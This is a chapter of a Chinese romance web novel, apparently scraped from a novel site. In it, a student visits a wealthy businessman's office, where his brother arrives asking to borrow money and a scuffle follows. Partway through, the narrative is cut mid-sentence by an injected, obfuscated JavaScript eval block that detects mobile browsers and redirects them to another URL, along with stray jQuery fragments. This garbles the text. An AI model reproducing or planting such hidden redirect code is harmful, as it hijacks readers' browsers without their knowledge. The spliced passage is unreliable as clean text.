默认冷灰
24号文字
方正启体

14.大展宏图

作者:薯条鉴赏家本书字数:K更新时间:
    十一月初的某天,校工找到她,告诉她:有位先生在接待室里等你。


    金雪池睁大眼睛望着他,忽然笑了,说了声“谢谢”。接待室的门半掩着,她远远地看到,立刻放慢脚步、理了理头发,心绪好像水炉上岌岌可危的盖子,随时会被沸水顶翻。


    她伸手按住盖子,也按住门把手,不紧不慢地推门而入。


    薛莲山正随手翻看桌上的台历,听见声响,抬头望向她,一眼就望出了她的窘相,“啊,是我的错。”


    “什么?”


    “衣服。”他走过来,忽然伸手摸了摸她后领,相当于是用手臂把她圈起来了。“我忘记这一层了。”


    那盖子就有点按不住了。金雪池知道自己应该立刻推开他,然而一嗅闻到那股温暖的香气,手脚像是被麻醉了似的,“本来也没有什么。你给过我生活费。”


    “我指望你会打电话找我要更多的。我期盼你的来电。结果这几个月一忙就给——”


    她挣开了他,“我不会。”


    “好,好。”他立刻说,“出去走走吧。”


    这回他没有开车来,两人并肩往车站走。一辆轰隆隆的大卡车超越他们、扬长而去,徒留满街黑烟。薛莲山几乎是立刻偏头往后退了几步,还是呛得咳起来。


    金雪池以为他咳几声就完事了,结果他蹲了下去,那声音越来越不对,简直像要吐。


    周围人都在往这边看,换作是她,绝对不想在众目睽睽之下吐在路中间。犹豫片刻,她轻轻在他肩上推了一下,指示方向,“薛先生,那边有个排水沟。”


    薛莲山朝她摆了两下手,几乎有点不耐烦。他是真想不明白。换作是他,就算是不太熟的人这样咳嗽,他也会问一问、拍拍背之类的。装模作样也要装一下。这个金雪池就傻站着,让他不要吐在路中间。她有病吧?


    已经过去了几个月,就是身经百战的女人也该跟他好上了。而这个女学生还摸不让摸、抱不让抱的,他对她花了这么多心思,还不够收买她?


    不过薛莲山不是知难而退的人,他不同意让女人爱上自己是件难事。


    等缓过来劲儿,他按着胸口站起来,眼睛有点发红。金雪池忽然又觉得看他不礼貌,目光要退缩,只好嘴上积极,“你有支气管疾病吗?”


    薛莲山凉凉道:“没有。”


    “哦。”


    “我肺部纤维化。”


    “啊?”


    “不传染。”说完这句话,他就抬腿走了。金雪池讪讪地跟上,总感觉是一只笑眯眯的大动物忽然呲了一下牙,又若无其事地收起来。


    两人上了电车,这会儿正是下班的点,没有空位置,只好拉着吊环站。金雪池因为个子矮,伸直了胳膊,然而不停地调整姿势。


    从他的角度往下看,正好看到她尖尖、小小的下巴,脸型是含蓄内收的,皮肉是紧的,大概摸上去像瓷,不像水做的女人。他立刻消气了,朝她笑道:“怎么不好好站?”


    金雪池觉得把胳膊完全抬起来不雅,何况腋下还有一丛稀疏的毛发。她想一手抓吊环、一手掩着,可这不是此地无银三百两么?这种事情,偏不好和他说。


    “衣服有点紧,把胳膊束住了。”


    他把她的一只手拿下来、搁在自己臂上。金雪池表现得简直像手被烫到了,在空中摇了几下,才揪住他袖子的下方。


    他道:“这衣服光是好看,并不结实,你这样会揪坏的。”


    金雪池重新吊在了环上。“我们去哪里?”


    “买衣服。”


    “不用了,我真的不要。买身上这件用的也是你的,我都……”她想说“预备要还”,又想起自己目前没有任何还钱的本事。


    “金小姐,我在接待室里那样说,你生气了?”


    “没有。你生气了吗?”


    他笑眯眯道:“你指什么事?”


    金雪池有一会儿没理他,又说:“其实你连雪茄也不该抽。”


    薛莲山微微一愣,仔细回忆,自己从未在她面前抽过雪茄。这东西不易携带、不易保存,他只在办公室和卧室里抽,“你怎么知道?”


    “我看你的皮夹里有一把小剪子。”


    他觉得很有道理,乐了一下:金雪池的总给他一种小孩子的感觉。逮着好玩的东西动脑子,对于人情却有点呆,他对她冷时,她没反应;他对她热时,她直觉不太合适,就躲一下。像个小孩子坐在高高的墙垛上,体验他、观察他、分析他,但不肯下来,仿佛人间是火海。


    “金小姐,你有小名吗?”


    “我父亲叫我妹妹。”


    薛莲山想起来了,金文彬是这么叫她的,“妹妹。”


    “妹妹”用粤语喊时非常自然,但薛莲山一直说国语,他喊“妹妹”,就有一种郑重其事的感觉,好似他们俩在演话剧,他演贾宝玉,她演林黛玉,应回一句“宝哥哥”才对。金雪池没忍住,噗嗤一声笑了出来。


    薛莲山在心里多记了她一笔:笑点很奇怪,且不足与他人道,问就是没什么。


    下了车,他要带她去买衣服,她打死不肯,只好作罢。反正他知道她的尺码,自己去挑款式也是一样。只是薛莲山带女人出来,向来是要给她们花钱。她不花钱,他还真不知道干什么。


    “不然,我到你工作的地方去看看吧。”金雪池提议道,“放了寒假,我给你打工,不要工资。你肯用我就行,我会尽力做好的。”


    他觉得行,又带她慢慢悠悠地转车,回了公司。苏兴矿务实业公司承包下了一整座写字楼,门口两只石狮子,大厅宽敞、明亮,铺了岩灰色流水纹地砖,一走进去就觉得凉。完全在金雪池的意料之中。这种建筑风格就和他这人一样,一眼看得出有钱,却不财气外泄。


    薛莲山领着她走到楼梯旁的一个铁笼子里,按了一个印着“5”的电钮。想来这就是电梯。一层一层的景象在网后下降,二楼有人抱着一摞文件匆匆走过,三楼的几个职员站在窗边吸烟,四楼正对他们的是一盆富贵竹,像电影中的镜头。到了五楼,他把铁网往右一拨,请她先走。


    “我的办公室就在这尽头。”他说,“如果秘书在的话,让她给你端一盘蛋糕上来。厨房做的小蛋糕挺好吃……你怎么在这里?”


    两人瞪着办公室里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012755|192557||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一个穿长衫的高个子男人看。那男人一见他来,立刻摘下帽子,“莲山,你近来还好么?我等你许久了。”


    薛莲山一巴掌拍在电铃上,保持微笑,但可以看出有点恼火了。那男人见他不理睬自己,又转向金雪池,彬彬有礼地一点头,“你好,我叫兆荣,是莲山的大哥。”


    金雪池也点点头,“你好。你有事找他么?那我先出去——”


    薛莲山一把把她拽回来,按在办公桌后的椅子上坐下。秘书龚小姐也赶来了,“董事长,你叫我?”


    “怎么把他放进来了?”


    龚小姐看一眼薛兆荣,有些茫然,“他说他是你大哥,我看着……也像。”


    “他确实是我大哥,但下回直接赶出去就好。借钱来的。”


    薛兆荣反驳道:“借钱?公司不是爸爸的么?本就有我的一份,只是我平日不和你这个做弟弟的争。现在我手头上困难,好不容易向你开一次口,你居然不答应么?”


    “免谈,你让嫂夫人来跟我说。”


    “她病了,不能长途旅行。我就是为她——”


    “我看不见得。”他看龚小姐拉不动他,自己上手把他往外推。但薛兆荣看上去比他壮一些,忽然往地上一赖,不肯动了,还顺手抱住龚小姐只穿了一层丝袜的腿。


    龚小姐尖叫起来。薛莲山没办法,抄起台灯砸在了他头上。那台灯不重,薛兆荣估计只是被碎玻璃划破了皮,肯定没被打出个好歹,然而大声嚷嚷起来:“来人啊,都看看啊,看看你们老板!我是他大哥,他居然对我动手———看看他,连手足之情都不顾,我都出血了———”


    安保人员总算听到动静,从楼梯上涌上来,拖走了他。薛莲山把龚小姐扶起来,命令说:“拖远点,别让他在大门口打滚!”


    龚小姐匆匆忙忙地整理衣冠,“真抱歉,董事长,我下回就知道了。我一开始确实没打算让他进来,但是他当时就说这些话……”


    “没关系,没关系。哪里擦破了吗?”


    “没有。”


    “好,你下去休息一下,随便叫谁拿一个三角蛋糕上来。”


    关上门,吵闹被瞬间隔断。薛莲山无可奈何地走过来说:“不好意思。”


    金雪池摇摇头,没对刚才那一幕发表什么看法。她正在翻他桌上的稿纸看。正中间写了个“詹仕纶 3:40 p.m.”,反复打了几个圈;左上角列了一串数字;右下角画了一只很潦草的小猪,出现得莫名其妙,大概是发呆时随手画的。原来他也有发呆的时候,她还以为他这样的人不走神。


    “你这办公室空了,”她说,“绿植可以改善风水。”


    “绿植引蚊虫。”


    “那么,墙上可以挂点字画之类的。”


    “也许吧,”他笑道,“金小姐赐我一副墨宝?”


    金雪池翻开一页崭新的稿纸,拔开钢笔盖子,挥墨而就:大展宏图。写完后觉得不好意思,字又不好看,遂再翻开一页新的。然而因为她下笔极重,新的一页上仍有“大展宏图”的凹痕。


    他把手指搭在上面,抚了抚,笑道:“好重的心意。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)